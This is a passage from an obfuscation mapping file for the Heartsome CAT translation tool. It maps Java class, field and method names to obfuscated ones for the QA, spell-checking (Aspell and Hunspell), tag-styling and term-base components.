net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.SpellPage$3 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$3: + net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.SpellPage$4 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$4: + net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.SpellPage$5 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$5: + net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.SpellPage$6 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$6: + net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.SpellPage$7 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$7: + net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.preference.SpellPage$8 -> net.heartsome.cat.ts.ui.qa.preference.SpellPage$8: + net.heartsome.cat.ts.ui.qa.preference.SpellPage this$0 -> Ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.resource.ImageConstant -> net.heartsome.cat.ts.ui.qa.resource.a: + java.lang.String QA_DIALOG_LOGO -> QE + java.lang.String QA_EXPORTQA_LOG -> alo +net.heartsome.cat.ts.ui.qa.resource.Messages -> net.heartsome.cat.ts.ui.qa.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.qa.spell.AspellChecker -> net.heartsome.cat.ts.ui.qa.spell.a: + org.eclipse.swt.widgets.Shell shell -> shell + java.lang.String command -> command + java.io.BufferedReader spellReader -> Rj + java.io.BufferedWriter spellWriter -> Rk + java.lang.String response -> Rl + java.lang.Process spellProcess -> Rm + java.util.List errorWords -> Rn + java.lang.String spellCheckLinePrefix -> Ro + java.lang.Runtime runtime -> Rp + org.eclipse.core.resources.IWorkspaceRoot root -> root + net.heartsome.cat.ts.ui.qa.spell.AspellConfig aspellConfig -> Rq + boolean isError -> Rr + java.util.Map commandLineMap -> Rs + java.util.List tagPositionList -> Rt + java.util.List wordList -> Ru + org.slf4j.Logger logger -> logger + java.util.List getErrorWords(java.lang.String,java.util.List,java.lang.String) -> a + void createCommandLine(java.lang.String) -> ei + void processTarget(java.lang.String,java.lang.String) -> O + void processTarget_1(java.lang.String,java.lang.String) -> P + boolean isError() -> isError + void checkStatus() -> jQ + void parseSuggestions(java.lang.String) -> ej + boolean langIsLoad(java.lang.String) -> ek + boolean checkLangAvailable(java.lang.String) -> checkLangAvailable + void setTagPosition(java.util.List) -> F + org.eclipse.swt.widgets.Shell access$0(net.heartsome.cat.ts.ui.qa.spell.AspellChecker) -> a + java.lang.Process access$1(net.heartsome.cat.ts.ui.qa.spell.AspellChecker) -> b + void access$2(net.heartsome.cat.ts.ui.qa.spell.AspellChecker,java.io.BufferedReader) -> a + void access$3(net.heartsome.cat.ts.ui.qa.spell.AspellChecker,java.io.BufferedWriter) -> a + java.io.BufferedReader access$4(net.heartsome.cat.ts.ui.qa.spell.AspellChecker) -> c + java.io.BufferedWriter access$5(net.heartsome.cat.ts.ui.qa.spell.AspellChecker) -> d + void access$6(net.heartsome.cat.ts.ui.qa.spell.AspellChecker,java.lang.String) -> a + void access$7(net.heartsome.cat.ts.ui.qa.spell.AspellChecker) -> e + void access$8(net.heartsome.cat.ts.ui.qa.spell.AspellChecker,boolean) -> a +net.heartsome.cat.ts.ui.qa.spell.AspellChecker$1 -> net.heartsome.cat.ts.ui.qa.spell.b: + net.heartsome.cat.ts.ui.qa.spell.AspellChecker this$0 -> Rv + void run() -> run +net.heartsome.cat.ts.ui.qa.spell.AspellChecker$2 -> net.heartsome.cat.ts.ui.qa.spell.c: + net.heartsome.cat.ts.ui.qa.spell.AspellChecker this$0 -> Rv + java.lang.String val$target -> Rw + void run() -> run + net.heartsome.cat.ts.ui.qa.spell.AspellChecker access$0(net.heartsome.cat.ts.ui.qa.spell.AspellChecker$2) -> a +net.heartsome.cat.ts.ui.qa.spell.AspellChecker$2$1 -> net.heartsome.cat.ts.ui.qa.spell.d: + net.heartsome.cat.ts.ui.qa.spell.AspellChecker$2 this$1 -> Rx + void run() -> run +net.heartsome.cat.ts.ui.qa.spell.AspellChecker$3 -> net.heartsome.cat.ts.ui.qa.spell.e: + net.heartsome.cat.ts.ui.qa.spell.AspellChecker this$0 -> Rv + void run() -> run +net.heartsome.cat.ts.ui.qa.spell.AspellChecker$4 -> net.heartsome.cat.ts.ui.qa.spell.f: + net.heartsome.cat.ts.ui.qa.spell.AspellChecker this$0 -> Rv + void run() -> run +net.heartsome.cat.ts.ui.qa.spell.AspellConfig -> net.heartsome.cat.ts.ui.qa.spell.g: + org.eclipse.swt.widgets.Shell shell -> shell + java.lang.String commandLine -> GH + java.lang.String configFile -> Ry + java.util.Hashtable dictionaryList -> Rz + boolean utf8 -> RA + org.slf4j.Logger logger -> logger + void setCommand(java.lang.String) -> setCommand + java.lang.String getCommand() -> getCommand + java.lang.String getDictionaryForLang(java.lang.String) -> el + void setDictionaryForLang(java.lang.String,java.lang.String) -> Q + void getConfiguration(java.lang.String) -> em + java.lang.String[] getDictionaries(java.lang.String) -> getDictionaries + java.util.Hashtable getDictionaryList() -> jR +net.heartsome.cat.ts.ui.qa.spell.Hunspell -> net.heartsome.cat.ts.ui.qa.spell.h: + net.heartsome.cat.ts.ui.qa.spell.Hunspell instance -> RB + net.heartsome.cat.ts.ui.qa.spell.inter.HunspellLibrary hunspellLibrary -> RD + net.heartsome.cat.ts.core.qa.QAXmlHandler xmlHandler -> Mj + java.util.Map availableLangMap -> RE + java.util.HashMap dictionariesMap -> RF + java.lang.String libFile -> UW + boolean isError -> Rr + org.eclipse.swt.widgets.Shell shell -> shell + org.slf4j.Logger logger -> logger + org.eclipse.core.resources.IWorkspaceRoot root -> root + void synchronizeInit(org.eclipse.swt.widgets.Shell) -> d + net.heartsome.cat.ts.ui.qa.spell.Hunspell getInstance(org.eclipse.swt.widgets.Shell) -> e + void tryLoad(java.lang.String) -> en + java.lang.String getLibFile() -> jS + java.lang.String libName() -> jT + java.lang.String libNameBare() -> jU + net.heartsome.cat.ts.ui.qa.spell.Hunspell$Dictionary getDictionary(java.lang.String) -> eo + void destroyDictionary(java.lang.String) -> ep + void setTarget(java.lang.String) -> setTarget + java.util.List getErrorWords(java.lang.String,java.util.List,java.lang.String) -> a + boolean isError() -> isError + boolean langIsLoad(java.lang.String) -> ek + boolean checkLangAvailable(java.lang.String) -> checkLangAvailable + void copyHunspellDictionaries(java.lang.String,java.lang.String) -> aa + void copyHunspellLibFile() -> jV + void setTagPosition(java.util.List) -> F + void main(java.lang.String[]) -> main + java.util.Map access$0(net.heartsome.cat.ts.ui.qa.spell.Hunspell) -> a + org.eclipse.core.resources.IWorkspaceRoot access$1(net.heartsome.cat.ts.ui.qa.spell.Hunspell) -> b + void access$2(net.heartsome.cat.ts.ui.qa.spell.Hunspell,java.lang.String,java.lang.String) -> a + net.heartsome.cat.ts.ui.qa.spell.inter.HunspellLibrary access$3(net.heartsome.cat.ts.ui.qa.spell.Hunspell) -> c + org.eclipse.swt.widgets.Shell access$4(net.heartsome.cat.ts.ui.qa.spell.Hunspell) -> d +net.heartsome.cat.ts.ui.qa.spell.Hunspell$1 -> net.heartsome.cat.ts.ui.qa.spell.k: + net.heartsome.cat.ts.ui.qa.spell.Hunspell this$0 -> VO + void run() -> run +net.heartsome.cat.ts.ui.qa.spell.Hunspell$2 -> net.heartsome.cat.ts.ui.qa.spell.l: + net.heartsome.cat.ts.ui.qa.spell.Hunspell this$0 -> VO + void run() -> run +net.heartsome.cat.ts.ui.qa.spell.Hunspell$Dictionary -> net.heartsome.cat.ts.ui.qa.spell.i: + com.sun.jna.Pointer hunspellDictPoint -> Vd + java.lang.String encoding -> encoding + net.heartsome.cat.ts.ui.qa.spell.Hunspell this$0 -> VO + void destroy() -> destroy + boolean misspelled(java.lang.String) -> eq + byte[] stringToBytes(java.lang.String) -> stringToBytes + java.util.List suggest(java.lang.String) -> eO + java.util.List pointerToCStringsToList(com.sun.jna.ptr.PointerByReference,int) -> a +net.heartsome.cat.ts.ui.qa.spell.RealTimeSpellCheck -> net.heartsome.cat.ts.ui.qa.spell.j: + boolean isHunspell -> Pt + net.heartsome.cat.ts.ui.qa.spell.inter.HSSpellChecker spelling -> NF + net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate nontransOper -> Pu + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean isRealTimeSpell -> XP + java.util.StringTokenizer stringToken -> Or + boolean ignoreNontrans -> Pv + boolean ignoreDigitalFirst -> Pw + boolean ignoreUpperCaseFirst -> Px + boolean ignoreAllUpperCase -> akr + org.slf4j.Logger LOGGER -> LOGGER + void loadParams() -> ki + boolean checkLangAvailable(java.lang.String) -> checkLangAvailable + java.util.List getErrorWords(java.lang.String,java.lang.String) -> getErrorWords + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + void getSingleWords(java.lang.String,java.util.List) -> d + boolean checkDigitalFirst(java.lang.String) -> dW + boolean checkUpperCaseFirst(java.lang.String) -> eh + boolean checkAllUpperCase(java.lang.String) -> fi + java.util.List getTagPosition(java.lang.String) -> eP + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.ui.qa.spell.inter.HSSpellChecker -> net.heartsome.cat.ts.ui.qa.spell.inter.a: + java.util.List getErrorWords(java.lang.String,java.util.List,java.lang.String) -> a + boolean isError() -> isError + boolean langIsLoad(java.lang.String) -> ek + boolean checkLangAvailable(java.lang.String) -> checkLangAvailable + void setTagPosition(java.util.List) -> F +net.heartsome.cat.ts.ui.qa.spell.inter.HunspellLibrary -> net.heartsome.cat.ts.ui.qa.spell.inter.HunspellLibrary: + com.sun.jna.Pointer Hunspell_create(java.lang.String,java.lang.String) -> Hunspell_create + void Hunspell_destroy(com.sun.jna.Pointer) -> Hunspell_destroy + int Hunspell_spell(com.sun.jna.Pointer,byte[]) -> Hunspell_spell + java.lang.String Hunspell_get_dic_encoding(com.sun.jna.Pointer) -> Hunspell_get_dic_encoding + int Hunspell_suggest(com.sun.jna.Pointer,com.sun.jna.ptr.PointerByReference,byte[]) -> Hunspell_suggest + void Hunspell_free_list(com.sun.jna.Pointer,com.sun.jna.ptr.PointerByReference,int) -> Hunspell_free_list +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart: + java.lang.String ID -> ID + org.eclipse.swt.widgets.Composite parent -> parent + de.kupzog.ktable.KTable table -> table + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$KtableModel tableModel -> tableModel + java.util.List dataList -> dataList + net.heartsome.cat.ts.ui.qa.model.QAResult qaResult -> qaResult + org.eclipse.ui.IWorkbenchWindow window -> window + org.eclipse.swt.graphics.Image exportImg -> exportImg + boolean isMultiFile -> isMultiFile + net.heartsome.cat.ts.ui.util.MultiFilesOper oper -> oper + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + org.slf4j.Logger logger -> logger + java.util.List filePathList -> filePathList + org.eclipse.swt.widgets.MenuItem exportItem -> exportItem + boolean isQAEnd -> isQAEnd + org.eclipse.swt.graphics.Image errorImg -> errorImg + org.eclipse.swt.graphics.Image warningImg -> warningImg + org.eclipse.swt.graphics.Image deleteImage -> deleteImage + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void setFocus() -> setFocus + void dispose() -> dispose + void createTable() -> createTable + void createPropMenu() -> createPropMenu + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + void registLister(net.heartsome.cat.ts.ui.qa.model.QAResult) -> registLister + void locationRow() -> locationRow + net.heartsome.cat.ts.ui.editors.IXliffEditor openEditor(java.lang.String) -> openEditor + net.heartsome.cat.ts.ui.editors.IXliffEditor openMultiFilesEditor() -> openMultiFilesEditor + boolean validateXliffCanOpen(org.eclipse.core.resources.IFile) -> validateXliffCanOpen + void clearTableData() -> clearTableData + void main(java.lang.String[]) -> main + java.util.List access$0(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$0 + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$1 + org.eclipse.swt.graphics.Image access$2(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$2 + de.kupzog.ktable.KTable access$3(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$3 + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$KtableModel access$4(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$4 + boolean access$5(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$5 + boolean access$6(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$6 + java.util.List access$7(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$7 + org.eclipse.swt.graphics.Image access$8(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$8 + void access$9(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart,boolean) -> access$9 + net.heartsome.cat.ts.ui.qa.model.QAResult access$10(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart) -> access$10 + void access$11(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart,java.util.List) -> access$11 + void access$12(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart,boolean) -> access$12 + void access$13(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart,net.heartsome.cat.ts.ui.util.MultiFilesOper) -> access$13 +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$1 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$1: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$10 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$10: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + java.beans.PropertyChangeEvent val$evt -> apk + void run() -> run +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$11 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$11: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + java.beans.PropertyChangeEvent val$evt -> apk + void run() -> run +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$2 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$2: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$3 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$3: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void rowResized(int,int) -> rowResized + void columnResized(int,int) -> columnResized +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$4 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$4: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void controlResized(org.eclipse.swt.events.ControlEvent) -> controlResized +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$5 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$5: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void mouseScrolled(org.eclipse.swt.events.MouseEvent) -> mouseScrolled +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$6 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$6: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$7 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$7: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$8 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$8: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart access$0(net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$8) -> a +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$8$1 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$8$1: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$8 this$1 -> apl + java.lang.String val$exportFilePath -> apm + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$9 -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$9: + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$KtableModel -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$KtableModel: + int levelColWidth -> apn + java.util.Map belongMap -> apo + de.kupzog.ktable.renderers.FixedCellRenderer fixedRenderer -> app + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$TextRenderer textRenderer -> textRenderer + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + int getFixedHeaderColumnCount() -> getFixedHeaderColumnCount + int getFixedHeaderRowCount() -> getFixedHeaderRowCount + int getFixedSelectableColumnCount() -> getFixedSelectableColumnCount + int getFixedSelectableRowCount() -> getFixedSelectableRowCount + int getRowHeightMinimum() -> getRowHeightMinimum + boolean isColumnResizable(int) -> isColumnResizable + boolean isRowResizable(int) -> isRowResizable + de.kupzog.ktable.KTableCellEditor doGetCellEditor(int,int) -> doGetCellEditor + int getInitialRowHeight(int) -> getInitialRowHeight + de.kupzog.ktable.KTableCellRenderer doGetCellRenderer(int,int) -> doGetCellRenderer + void doSetContentAt(int,int,java.lang.Object) -> doSetContentAt + int doGetColumnCount() -> doGetColumnCount + java.lang.Object doGetContentAt(int,int) -> doGetContentAt + int doGetRowCount() -> doGetRowCount + int getInitialColumnWidth(int) -> getInitialColumnWidth + org.eclipse.swt.graphics.Point doBelongsToCell(int,int) -> doBelongsToCell +net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$TextRenderer -> net.heartsome.cat.ts.ui.qa.views.QAResultViewPart$TextRenderer: + org.eclipse.swt.widgets.Display display -> display + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder placeHolderBuilder -> ajG + net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory innerTagFactory -> ajH + net.heartsome.cat.common.ui.innertag.InnerTagRender tagRender -> aE + int topPadding -> XI + int rightPadding -> XJ + int bottomPadding -> XK + int leftPadding -> XL + java.util.Map rowHeightMap -> apq + net.heartsome.cat.ts.ui.qa.views.QAResultViewPart this$0 -> RG + int getOptimalWidth(org.eclipse.swt.graphics.GC,int,int,java.lang.Object,boolean,de.kupzog.ktable.KTableModel) -> getOptimalWidth + void drawCell(org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,int,int,java.lang.Object,boolean,boolean,boolean,de.kupzog.ktable.KTableModel) -> drawCell + void clearRowHeiMap() -> clearRowHeiMap +net.heartsome.cat.ts.ui.resource.ImageConstant -> net.heartsome.cat.ts.ui.resource.ImageConstant: + java.lang.String LANG_EMPTYPIC -> LANG_EMPTYPIC + java.lang.String LANG_ISBIDI -> LANG_ISBIDI + java.lang.String PREFERENCE_SYS_UPDATE -> PREFERENCE_SYS_UPDATE + java.lang.String PREFERENCE_SYS_DICTIONARY -> PREFERENCE_SYS_DICTIONARY + java.lang.String PREFERENCE_SYS_LANGUAGE -> PREFERENCE_SYS_LANGUAGE + java.lang.String PREFERENCE_SYS_USER -> PREFERENCE_SYS_USER + java.lang.String PREFERENCE_SYS_IN_DIC -> PREFERENCE_SYS_IN_DIC + java.lang.String PREFERENCE_SYS_ASPELL_DIC -> PREFERENCE_SYS_ASPELL_DIC + java.lang.String PREFERENCE_SYS_KEY -> PREFERENCE_SYS_KEY + java.lang.String PREFERENCE_SYS_LANG_CODE -> PREFERENCE_SYS_LANG_CODE + java.lang.String PREFERENCE_QA_Page_ignore -> PREFERENCE_QA_Page_ignore + java.lang.String PREFERENCE_QA_Page_paraConsistence -> PREFERENCE_QA_Page_paraConsistence + java.lang.String PREFERENCE_QA_Page_tgtLengthSet -> PREFERENCE_QA_Page_tgtLengthSet + java.lang.String PREFERENCE_QA_nontrans_nontransInstal -> PREFERENCE_QA_nontrans_nontransInstal + java.lang.String PREFERENCE_QA_instal_itemsChoose -> PREFERENCE_QA_instal_itemsChoose + java.lang.String PREFERENCE_FA_analysis -> PREFERENCE_FA_analysis + java.lang.String PREFERENCE_FA_fileAnalysis -> PREFERENCE_FA_fileAnalysis + java.lang.String PREFERENCE_FA_equivalent -> PREFERENCE_FA_equivalent +net.heartsome.cat.ts.ui.resource.Messages -> net.heartsome.cat.ts.ui.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.tagstyle.InnerTagRule -> net.heartsome.cat.ts.ui.tagstyle.InnerTagRule: + int TYPE_TAG_START_INDEX -> TYPE_TAG_START_INDEX + int TYPE_TAG_END_INDEX -> TYPE_TAG_END_INDEX + int TYPE_TAG_Content -> TYPE_TAG_Content + int ruleType -> Ud + boolean start -> start + java.lang.StringBuffer fBuffer -> Gj + org.eclipse.jface.text.rules.IToken evaluate(org.eclipse.jface.text.rules.ICharacterScanner) -> evaluate + void unreadBuffer(org.eclipse.jface.text.rules.ICharacterScanner) -> unreadBuffer +net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner -> net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner: + org.eclipse.jface.text.rules.Token tagIndexToken -> Ue + org.eclipse.jface.text.rules.Token tagContentToken -> Gk + org.eclipse.jface.preference.IPreferenceStore store -> vN + boolean isIndex -> agM + void initialize(java.lang.String,java.lang.String) -> R + void updateToken(java.lang.String,java.lang.String) -> S + org.eclipse.swt.graphics.Color getColor(java.lang.String) -> getColor + org.eclipse.swt.graphics.TextStyle createTextStyle(java.lang.String,java.lang.String) -> T + org.eclipse.jface.text.rules.IRule createTagStartIndexRule() -> ka + org.eclipse.jface.text.rules.IRule createTagEndIndexRule() -> kb + org.eclipse.jface.text.rules.IRule createTagContentRule() -> kc + boolean access$0(net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner) -> a +net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner$TagContentDetector -> net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner$TagContentDetector: + boolean end -> lH + net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner this$0 -> Uf + boolean isWordStart(char) -> isWordStart + boolean isWordPart(char) -> isWordPart +net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner$TagEndIndexDetector -> net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner$TagEndIndexDetector: + boolean end -> lH + net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner this$0 -> Uf + boolean isWordStart(char) -> isWordStart + boolean isWordPart(char) -> isWordPart +net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner$TagStartIndexDetector -> net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner$TagStartIndexDetector: + net.heartsome.cat.ts.ui.tagstyle.InnerTagScanner this$0 -> Uf + boolean isWordStart(char) -> isWordStart + boolean isWordPart(char) -> isWordPart +net.heartsome.cat.ts.ui.tagstyle.PresentationRepairer -> net.heartsome.cat.ts.ui.tagstyle.PresentationRepairer: + org.eclipse.jface.text.IDocument fDocument -> fDocument + org.eclipse.jface.text.rules.ITokenScanner fScanner -> fScanner + org.eclipse.swt.graphics.TextStyle fDefaultTextStyle -> Gm + void setDocument(org.eclipse.jface.text.IDocument) -> setDocument + void createPresentation(org.eclipse.jface.text.TextPresentation,org.eclipse.jface.text.ITypedRegion) -> createPresentation + org.eclipse.swt.graphics.TextStyle getTokenTextStyle(org.eclipse.jface.text.rules.IToken) -> a + void addRange(org.eclipse.jface.text.TextPresentation,int,int,org.eclipse.swt.graphics.TextStyle) -> a +net.heartsome.cat.ts.ui.tagstyle.TagStyleConfigurator -> net.heartsome.cat.ts.ui.tagstyle.TagStyleConfigurator: + void configure(org.eclipse.swt.graphics.TextLayout) -> configure + void configure(org.eclipse.jface.text.ITextViewer) -> configure + org.eclipse.jface.text.presentation.IPresentationReconciler getPresentationReconciler(org.eclipse.jface.text.ITextViewer) -> a + org.eclipse.jface.text.rules.ITokenScanner getRecipeScanner(org.eclipse.jface.text.IDocument) -> a +net.heartsome.cat.ts.ui.term.Activator -> net.heartsome.cat.ts.ui.term.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.term.Activator plugin -> Ug + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.term.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + org.eclipse.jface.resource.ImageDescriptor getIconDescriptor(java.lang.String) -> getIconDescriptor +net.heartsome.cat.ts.ui.term.ImageConstants -> net.heartsome.cat.ts.ui.term.ImageConstants: + java.lang.String ACCPTE_TERM -> ACCPTE_TERM +net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog -> net.heartsome.cat.ts.ui.term.dialog.a: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String srcLang -> srcLang + java.lang.String tgtLang -> SW + java.lang.String srcText -> fO + java.lang.String tgtText -> fP + java.lang.String srcAllText -> Uh + org.eclipse.core.resources.IProject project -> project + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer cmbSrcLang -> Ui + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer cmbTgtLang -> Uj + net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog instance -> Uk + org.eclipse.swt.widgets.Text txtSrc -> Ul + org.eclipse.swt.widgets.Text txtTgt -> Um + org.eclipse.swt.widgets.Text txtProperty -> Un + net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog getInstance(org.eclipse.swt.widgets.Shell,java.lang.String,java.lang.String) -> a + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initProperty() -> ie + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang(java.lang.String) -> setSrcLang + java.lang.String getTgtLang() -> getTgtLang + void setTgtLang(java.lang.String) -> setTgtLang + org.eclipse.core.resources.IProject getProject() -> getProject + void setProject(org.eclipse.core.resources.IProject) -> setProject + java.lang.String getSrcAllText() -> kd + void setSrcAllText(java.lang.String) -> ew + void okPressed() -> okPressed + boolean close() -> close + java.lang.String cleanString(java.lang.String) -> cleanString +net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog$1 -> net.heartsome.cat.ts.ui.term.dialog.b: + net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog this$0 -> Uo + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog$2 -> net.heartsome.cat.ts.ui.term.dialog.c: + net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog this$0 -> Uo + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog$3 -> net.heartsome.cat.ts.ui.term.dialog.d: + net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog this$0 -> Uo + java.lang.String val$msg -> KW + void run() -> run +net.heartsome.cat.ts.ui.term.handler.AddTermToTBHandler -> net.heartsome.cat.ts.ui.term.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.term.resource.Messages -> net.heartsome.cat.ts.ui.term.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.term.view.CellRenderer -> net.heartsome.cat.ts.ui.term.view.a: + int insideMargin -> pe + int treeIndent -> pf + org.eclipse.nebula.widgets.grid.internal.ToggleRenderer toggleRenderer -> pg + 